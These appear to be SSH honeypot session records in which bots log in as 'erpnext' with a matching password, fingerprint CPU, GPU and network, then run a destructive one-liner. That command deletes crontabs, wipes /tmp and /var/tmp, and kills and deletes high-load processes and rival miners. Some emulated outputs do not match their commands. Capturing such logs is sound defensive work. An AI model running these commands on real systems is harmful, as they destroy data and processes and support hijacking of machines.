{"id":"42321e67-3496-4fea-aad6-aeb6d376f363","name":"bold-civil-serval","protocol":"ssh","channel_kind":"exec","src_ip":"45.153.34.165","src_port":36924,"username":"erpnext","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":202,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-25T01:41:11.415864+00:00","ended_at":"2026-08-25T01:41:17.104674+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1660,"events":[{"seq":1,"at":"2026-08-25T01:40:06.904503+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-25T01:40:11.855636+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-25T01:40:12.019717+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-25T01:40:17.134193+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-25T01:40:17.419966+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-25T01:40:23.254799+00:00","kind":"output","latency_ms":null,"data":"4 days, 22:30"},{"seq":7,"at":"2026-08-25T01:40:23.701150+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-25T01:40:29.522235+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-25T01:40:30.024766+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-25T01:40:33.428928+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-25T01:40:33.623435+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-25T01:40:36.405837+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-25T01:40:36.608040+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-25T01:40:40.938084+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-25T01:40:41.109491+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-25T01:40:46.554966+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-25T01:40:46.801746+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-25T01:40:51.791544+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-25T01:40:52.001945+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-25T01:40:57.933539+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-25T01:40:58.107967+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-25T01:41:00.818617+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-25T01:41:01.017874+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-25T01:41:05.940466+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-25T01:41:06.103305+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-25T01:41:11.417491+00:00","kind":"input","latency_ms":null,"data":"echo erpnext > /tmp/d.log"}],"credentials":[{"username":"erpnext","password":"erpnext","method":"password","accepted":true,"tier":"other"}]}
{"id":"4134f3e8-06ff-4521-b0d5-2cf67304f0d6","name":"wistful-restless-thrush","protocol":"ssh","channel_kind":null,"src_ip":"91.92.47.11","src_port":53700,"username":"erpnext","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-24T09:30:17.589015+00:00","ended_at":"2026-08-24T09:30:19.808087+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"erpnext","password":"erpnext","method":"password","accepted":true,"tier":"other"}]}
{"id":"edeff0cc-7575-4d6e-9ccb-c35f3cb645ff","name":"cheerful-rambling-sable","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.47.11","src_port":44692,"username":"erpnext","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":230,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-24T09:30:14.147467+00:00","ended_at":"2026-08-24T09:30:19.809240+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1660,"events":[{"seq":1,"at":"2026-08-24T09:29:16.909658+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-24T09:29:19.852257+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-24T09:29:20.431493+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-24T09:29:24.642194+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-24T09:29:24.831605+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-24T09:29:30.434589+00:00","kind":"output","latency_ms":null,"data":"4 days,  6:19"},{"seq":7,"at":"2026-08-24T09:29:30.623785+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-24T09:29:34.951562+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-24T09:29:35.211096+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-24T09:29:40.832410+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-24T09:29:41.003862+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-24T09:29:45.813509+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-24T09:29:46.056998+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-24T09:29:49.133613+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-24T09:29:49.302881+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-24T09:29:53.593450+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-24T09:29:53.990230+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-24T09:29:59.783958+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-24T09:30:00.251262+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-24T09:30:03.050811+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-24T09:30:03.226233+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-24T09:30:05.774563+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-24T09:30:06.005355+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-24T09:30:10.895385+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-24T09:30:11.118477+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-24T09:30:14.148213+00:00","kind":"input","latency_ms":null,"data":"echo erpnext > /tmp/d.log"}],"credentials":[{"username":"erpnext","password":"erpnext","method":"password","accepted":true,"tier":"other"}]}
{"id":"73bb3156-1b1b-4ea6-a269-148ede263f64","name":"northern-dewy-magpie","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.42.147","src_port":57918,"username":"erpnext","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":249,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-21T13:32:21.276269+00:00","ended_at":"2026-08-21T13:32:24.519161+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1659,"events":[{"seq":1,"at":"2026-08-21T13:31:20.925540+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-21T13:31:25.912797+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-21T13:31:26.143100+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-21T13:31:30.274809+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-21T13:31:30.540846+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-21T13:31:35.100021+00:00","kind":"output","latency_ms":null,"data":"1 day, 10:21"},{"seq":7,"at":"2026-08-21T13:31:35.378804+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-21T13:31:39.514766+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-21T13:31:39.950540+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-21T13:31:45.449780+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-21T13:31:45.630218+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-21T13:31:48.944380+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-21T13:31:49.193217+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-21T13:31:52.615620+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-21T13:31:53.085782+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-21T13:31:57.056876+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-21T13:31:57.473707+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-21T13:32:01.202847+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-21T13:32:01.378911+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-21T13:32:05.197955+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-21T13:32:05.406449+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-21T13:32:10.731090+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-21T13:32:10.973671+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-21T13:32:16.548486+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-21T13:32:16.789147+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-21T13:32:21.276939+00:00","kind":"input","latency_ms":null,"data":"echo erpnext > /tmp/d.log"}],"credentials":[{"username":"erpnext","password":"erpnext","method":"password","accepted":true,"tier":"other"}]}
{"id":"6f189717-719d-41f7-aca4-1aab59fedfbc","name":"pleasant-brisk-fieldfare","protocol":"ssh","channel_kind":null,"src_ip":"45.156.87.93","src_port":44858,"username":"erpnext","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-20T19:18:40.751712+00:00","ended_at":"2026-08-20T19:18:42.421208+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"erpnext","password":"erpnext","method":"password","accepted":true,"tier":"other"}]}
{"id":"6881bcce-cd0b-4959-92f9-1545b816ae06","name":"umber-snowy-lorikeet","protocol":"ssh","channel_kind":"exec","src_ip":"45.156.87.93","src_port":59426,"username":"erpnext","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":202,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-20T19:18:35.882795+00:00","ended_at":"2026-08-20T19:18:42.421894+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1652,"events":[{"seq":1,"at":"2026-08-20T19:17:38.559749+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-20T19:17:44.165467+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-20T19:17:44.367641+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-20T19:17:49.085723+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-20T19:17:49.293451+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-20T19:17:51.808381+00:00","kind":"output","latency_ms":null,"data":"16:07"},{"seq":7,"at":"2026-08-20T19:17:52.016694+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-20T19:17:54.812650+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-20T19:17:55.000064+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-20T19:17:59.048033+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-20T19:17:59.414223+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-20T19:18:04.155712+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-20T19:18:04.355804+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-20T19:18:09.176956+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-20T19:18:09.365808+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-20T19:18:14.657765+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-20T19:18:14.850147+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-20T19:18:19.891202+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-20T19:18:20.097832+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-20T19:18:23.924002+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-20T19:18:24.118845+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-20T19:18:27.327681+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-20T19:18:27.528833+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-20T19:18:30.802412+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-20T19:18:31.021965+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-20T19:18:35.883486+00:00","kind":"input","latency_ms":null,"data":"echo erpnext > /tmp/d.log"}],"credentials":[{"username":"erpnext","password":"erpnext","method":"password","accepted":true,"tier":"other"}]}
{"id":"b5c6ea6c-6d23-4484-a686-23db7299bd01","name":"grassy-plucky-raven","protocol":"ssh","channel_kind":null,"src_ip":"92.47.46.174","src_port":46054,"username":"erpnext","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-20T12:39:23.358670+00:00","ended_at":"2026-08-20T12:39:25.026489+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"erpnext","password":"erpnext123!","method":"password","accepted":false,"tier":"other"}]}
{"id":"acf1eabf-7b2a-47f8-b1f2-2b6e09d30885","name":"whispering-cosmic-cicada","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.47.66","src_port":57116,"username":"erpnext","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":191,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-20T10:26:40.523465+00:00","ended_at":"2026-08-20T10:26:41.182493+00:00","ended_reason":"exec complete","commands":3,"transcript_bytes":220,"events":[{"seq":1,"at":"2026-08-20T10:26:39.593387+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-20T10:26:39.593810+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-20T10:26:39.770509+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-20T10:26:40.334202+00:00","kind":"output","latency_ms":562,"data":"x86_64"},{"seq":5,"at":"2026-08-20T10:26:40.525655+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-20T10:26:40.952123+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"erpnext","password":"erpnext","method":"password","accepted":true,"tier":"other"}]}